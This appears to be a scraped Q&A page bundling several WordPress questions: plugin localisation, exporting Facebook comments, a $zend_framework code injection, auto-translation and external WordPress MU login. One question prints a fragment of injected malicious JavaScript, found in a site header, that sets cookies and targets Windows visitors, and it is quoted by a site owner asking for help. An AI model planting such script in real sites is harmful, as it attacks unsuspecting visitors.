Get Directions change language - wordpress

I'm working on a Wordpress site that uses the plugin Get Directions.
It works properly and gives me the directions in English, but I want to recieve them in Dutch.
I've tried changing the URL from maps.google.com to alternatives like maps.google.nl and maps.google.com?language=nl-nl
Does anyone know how I can get the directions in Dutch? I have also asked on the official Wordpress forums but I don't know how long it usually takes for them to respond.

Seems impossible. The plugin uses the API URL http://www.mapquestapi.com/geocoding/. And checking the documentation, there is a locale parameter for the /directions Web Service, but nothing like this exist for the /geocoding Web Service, which is the one the plugin uses.
Note that the standard locale codes are in the format language_COUNTRY, eg, nl_NL. I tried to modify the plugin code adding &locale=nl_NL(and other languages), but it made no difference.

Related

How to extract comments from Facebook App

In my WordPress website using Wpdevart Facebook comments plugin for embedding Facebook comment. Now I need to extract comment in an XL file. How to I can do it?
I have tried with the https://exportcomments.com tool. It can extract Facebook comment from a website URL. But it's not working properly.
Have any suggestion (code, plugin or tool) to extracting comments from the Facebook app?
That used to be possible up to and including API v3.2, as described under https://developers.facebook.com/docs/plugins/faqs#faq_1603507626630008
The comments for every URL can be accessed via the Graph API. Simply make an HTTP GET request to:
https://graph.facebook.com/v2.6/?fields=og_object{comments}&id=<YOUR_URL>&access_token=<YOUR_TOKEN>
That doesn’t appear to work in v3.3 any more though, only results in an error message saying,
(#100) Tried accessing nonexisting field (comments) on node type (OpenGraphObject)
I can’t find an explicit mention of this in the changelog right now though.
And even in API versions prior to v3.3, it seems you can only get the created time and message (plus maybe a couple of other meta fields), but specifically from – info about the actual user making the comment – is not available any more.

Strange $zend_framework codes in files (Wordpress, SMF)

About a week ago, I found some strange code in all of my wordpress and SMF sites' files. The code is in every file which uses Wordpress' or SMF's API, even if it's not a default file of the specified system. It's starting with a $zend_framework variable, and if I uncode it with unphp.net, I get an obfuscated strange PHP class.
I contacted my host, if it's a 'normal' error of the zend framework, but they said no, it's some weird code.
I searched for some answer in Google and I found some articles that says that there's some hackers may use this way to hack a Wordpress website, but I did not found any sign of unwished logins to my website, but sometimes it does some weird things, for example, one of my API (which uses Wordpress' API) stopped working perfectly about the time when this code appeared in the files. It's worked before, but after it, for example, instead of the 'Bad request' message it's returned a 'A#' message.
What is this code? It's a bug of the zend framework, or somebody is trying to hack my website?
Here is the code decoded with UnPHP:
http://www.unphp.net/decode/c0958d9db747d5a32c8308ba2fcf4d27/
Someone isn't trying to hack your website, they've succeeded. This is a well known Wordpress exploit. It has nothing to do with Zend Framework (which Wordpress doesn't use). You need to restore your site from a safe backup, or start from a clean Wordpress install.
More info here: http://www.justbeck.com/zend_framework-wordpress-hacks/

What is this? Google analytics cookie or malware?

I have a WordPress installation that has been targeted quite heavily by a phishing operation. I thought I had the security mostly covered except I found this in the header:
var a=document.cookie;document.cookie="hop="+escape("hop")+";path=/";var b=navigator.appVersion,c=" "+document.cookie,d=null,e=0,f=0;if(c.length>0){e=c.indexOf(" hop=");if(e!=-1){e+=5;f=c.indexOf(";",e);if(f==-1)f=c.length;d=unescape(c.substring(e,f))}} if(d=="hop"&&b.toLowerCase().indexOf("win")!=-1&&a.indexOf("hip")==-1){var g=["keg","kei","ken","kep","kev","kex","key","khi","kid","kif"],h=Math.floor(Math.random()*g.length);dt=new Date;dt.setTime(dt.getTime()+8E7);document.cookie="hip="+escape("hip")+";expires="+dt.toGMTString()+";path=/";document.write('</script>')};
That URL at the the end is super suspicious. I googled but found no leads :-(
I haven't yet found the source of the code in my WP installation. It's not written into the template files or database. In the process of updating WP install now.
Does anyone have any knowledge of this?
That looks strange to me. Maybe try reinstalling wordpress and choose very complex passwords so nobody unauthorized can access your site. You might want to remove the google analytics code from the page and see if that makes a difference. Complex passwords include numbers, uppercase and lowercase letters, slashes and anything else you can think of. Make sure it is longer then 8 letters. If your site is infected, take it down from the web NOW until your sure it's not.

How to use google translate to translate website automatically using geoip

I have been looking around the internet for a script which would use google translate api to translate a website automatically through a geoip script without the need of clicking translate button. Since google does provide a small div snippet which you can add to your website and then through a drop down menu you can choose the language and click translate and it translates the whole website.
the snippet is here
http://translate.google.com/translate_tools?hl=en&layout=1&eotf=1&sl=ru&tl=en
How can i integrate a geoip script along with the above snippet or there are also a couple of google translate scripts available on the internet.
Using geoip to determine user's language is not optimal way, because people may speak/prefer different language than the main language in their geographical location.
Accept-Language header sent by client is something you would like to use, but it's not available in javascript (at least in any standard way).
However, there's available navigator.language which tells us the language of browser UI. Though not ideal, this is very easy to implement:
Translate

How can I sign in a Wordpress (mu) user from outside of Wordpress?

I'm working for a company that is using Wordpress MU to supplement other functions on a member site. We have a user signup process that creates the appropriate Wordpress MU users and blogs on signup, but I'm having real trouble figuring out how to log someone in to a WP blog from outside of Wordpress itself. The documentation these methods seem to be non-existent or just too obtuse for me.
In the abstract I know how to do it: Take user info, set the same cookie that Wordpress would set itself. Done. It is, however, not this simple.
Has anyone done this successfully before?
I've been able to log people into Wordpress, however I'm was running inside Wordpress. (I was inside a theme)
Basically, the tough part is getting all the hashes correct, because Wordpress uses a set of defined security hashes in the config file to create the cookie. Ideally you should be able to copy and paste the functions that Wordpress uses.
Yes Wordpress documentation for security sucks, but that is what you get in a Open Source application, not stellar documentation.
What you are looking for is the wp_set_auth_cookie function in the /wp-includes/pluggable.php file. You should look into what the do_action()s actually do, but you should be able to simply replace all the constants with the correct values, and you'll have a function that can port anywhere on the domain.
Hey, it's not so tough task, once you are using correct instruments ;)
Try XML-RPC

Resources